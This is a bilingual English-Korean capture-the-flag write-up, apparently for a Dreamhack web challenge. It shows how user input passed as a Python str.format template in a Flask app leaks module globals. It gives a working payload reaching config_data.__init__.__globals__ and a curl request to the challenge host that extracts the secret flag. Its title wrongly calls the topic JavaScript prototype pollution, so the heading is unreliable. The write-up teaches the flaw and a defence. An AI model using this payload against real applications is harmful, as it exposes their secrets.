Prototype Pollution: Poisoning JavaScript's Object Chain
How Prototype Pollution corrupts JavaScript's prototype chain and how to defend against it
A tiny Flask app renders whatever the visitor sends through Python’s str.format:
CONFIG = {
"SECRET": "DH{fake-fake-fake}" # the real server holds the real flag
}
class DataConfig(object):
def __init__(self, name):
self.name = name
def print_data(format_string, config_data):
return format_string.format(config_data=config_data)
config_data = DataConfig("How can I get the flag?")
@app.route('/', methods=['GET'])
def page1():
payload = request.args.get('body')
sys.stdin = io.StringIO(payload)
result = print_data(sys.stdin.readline(), config_data)
return render_template('index.html', value=result)
The body parameter becomes the format string itself, not the data being formatted. That inversion is the whole bug.
str.format Is Dangerous Here"{x}".format(x=obj) looks harmless, but the mini-language inside the braces is more powerful than a simple substitution. A template can traverse attributes and index into containers of any argument that was handed to format:
{config_data.name} reads an attribute{config_data.__init__} reaches the bound method{config_data.__init__.__globals__} reaches the module’s global namespaceSince __globals__ exposes every module-level name (including CONFIG), the only thing standing between us and the flag is spelling out the path.
config_data is a DataConfig instance, so config_data.__init__.__globals__ is the dict of module globals where CONFIG lives. From there it’s plain indexing (note that inside a format spec you write keys without quotes):
{config_data.__init__.__globals__[CONFIG][SECRET]}
URL-encode it into body and the server formats our template against its own globals, substituting the real secret:
curl -X GET "http://host1.dreamhack.games:22182/?body=%7Bconfig_data.__init__.__globals__%5BCONFIG%5D%5BSECRET%5D%7D"
The response renders the value of CONFIG["SECRET"]: the actual flag, not the DH{fake-fake-fake} placeholder from the published source.
Never let user input reach the template position of str.format (or %, or f-string eval-alikes). Even without arbitrary code execution, the format mini-language turns any exposed object into a springboard: __init__.__globals__ alone leaks the entire module namespace. If a template must be user-supplied, format against a whitelist of primitives, never against live objects whose __globals__ chain leads straight to your secrets.
작은 Flask 앱이 방문자가 보낸 문자열을 그대로 Python str.format에 넣어 렌더링합니다.
CONFIG = {
"SECRET": "DH{fake-fake-fake}" # 실제 서버에는 진짜 플래그가 들어있음
}
class DataConfig(object):
def __init__(self, name):
self.name = name
def print_data(format_string, config_data):
return format_string.format(config_data=config_data)
config_data = DataConfig("How can I get the flag?")
@app.route('/', methods=['GET'])
def page1():
payload = request.args.get('body')
sys.stdin = io.StringIO(payload)
result = print_data(sys.stdin.readline(), config_data)
return render_template('index.html', value=result)
body 파라미터가 포맷 대상 데이터가 아니라 포맷 문자열 자체가 됩니다. 이 뒤바뀜이 취약점의 전부입니다.
str.format이 위험한가"{x}".format(x=obj)는 무해해 보이지만, 중괄호 안의 미니 언어는 단순 치환보다 강력합니다. 템플릿은 format에 넘겨진 인자의 속성을 타고 들어가거나 컨테이너를 인덱싱할 수 있습니다.
{config_data.name}: 속성 읽기{config_data.__init__}: 바운드 메서드 접근{config_data.__init__.__globals__}: 모듈 전역 네임스페이스 접근__globals__는 CONFIG를 포함한 모든 모듈 레벨 이름을 노출하므로, 플래그까지 남은 건 경로를 적어 내려가는 것뿐입니다.
config_data는 DataConfig 인스턴스라, config_data.__init__.__globals__가 CONFIG가 사는 모듈 전역 딕셔너리입니다. 거기서부터는 평범한 인덱싱입니다(포맷 스펙 안에서는 키를 따옴표 없이 씁니다).
{config_data.__init__.__globals__[CONFIG][SECRET]}
이걸 URL 인코딩해 body에 넣으면, 서버는 자기 자신의 전역을 대상으로 우리 템플릿을 포맷하며 진짜 시크릿을 치환해 줍니다.
curl -X GET "http://host1.dreamhack.games:22182/?body=%7Bconfig_data.__init__.__globals__%5BCONFIG%5D%5BSECRET%5D%7D"
응답에는 CONFIG["SECRET"] 값, 즉 공개된 소스의 DH{fake-fake-fake} 자리표시자가 아니라 실제 플래그가 렌더링됩니다.
사용자 입력이 str.format(또는 %, f-string 유사물)의 템플릿 자리에 도달하게 두면 안 됩니다. 임의 코드 실행이 아니더라도, 포맷 미니 언어는 노출된 아무 객체나 발판으로 삼습니다. __init__.__globals__ 하나만으로 모듈 네임스페이스 전체가 새어 나갑니다. 템플릿을 사용자에게서 받아야 한다면, 살아있는 객체가 아니라 원시 값 화이트리스트를 대상으로만 포맷하세요. 그 객체의 __globals__ 체인이 곧장 당신의 시크릿으로 이어집니다.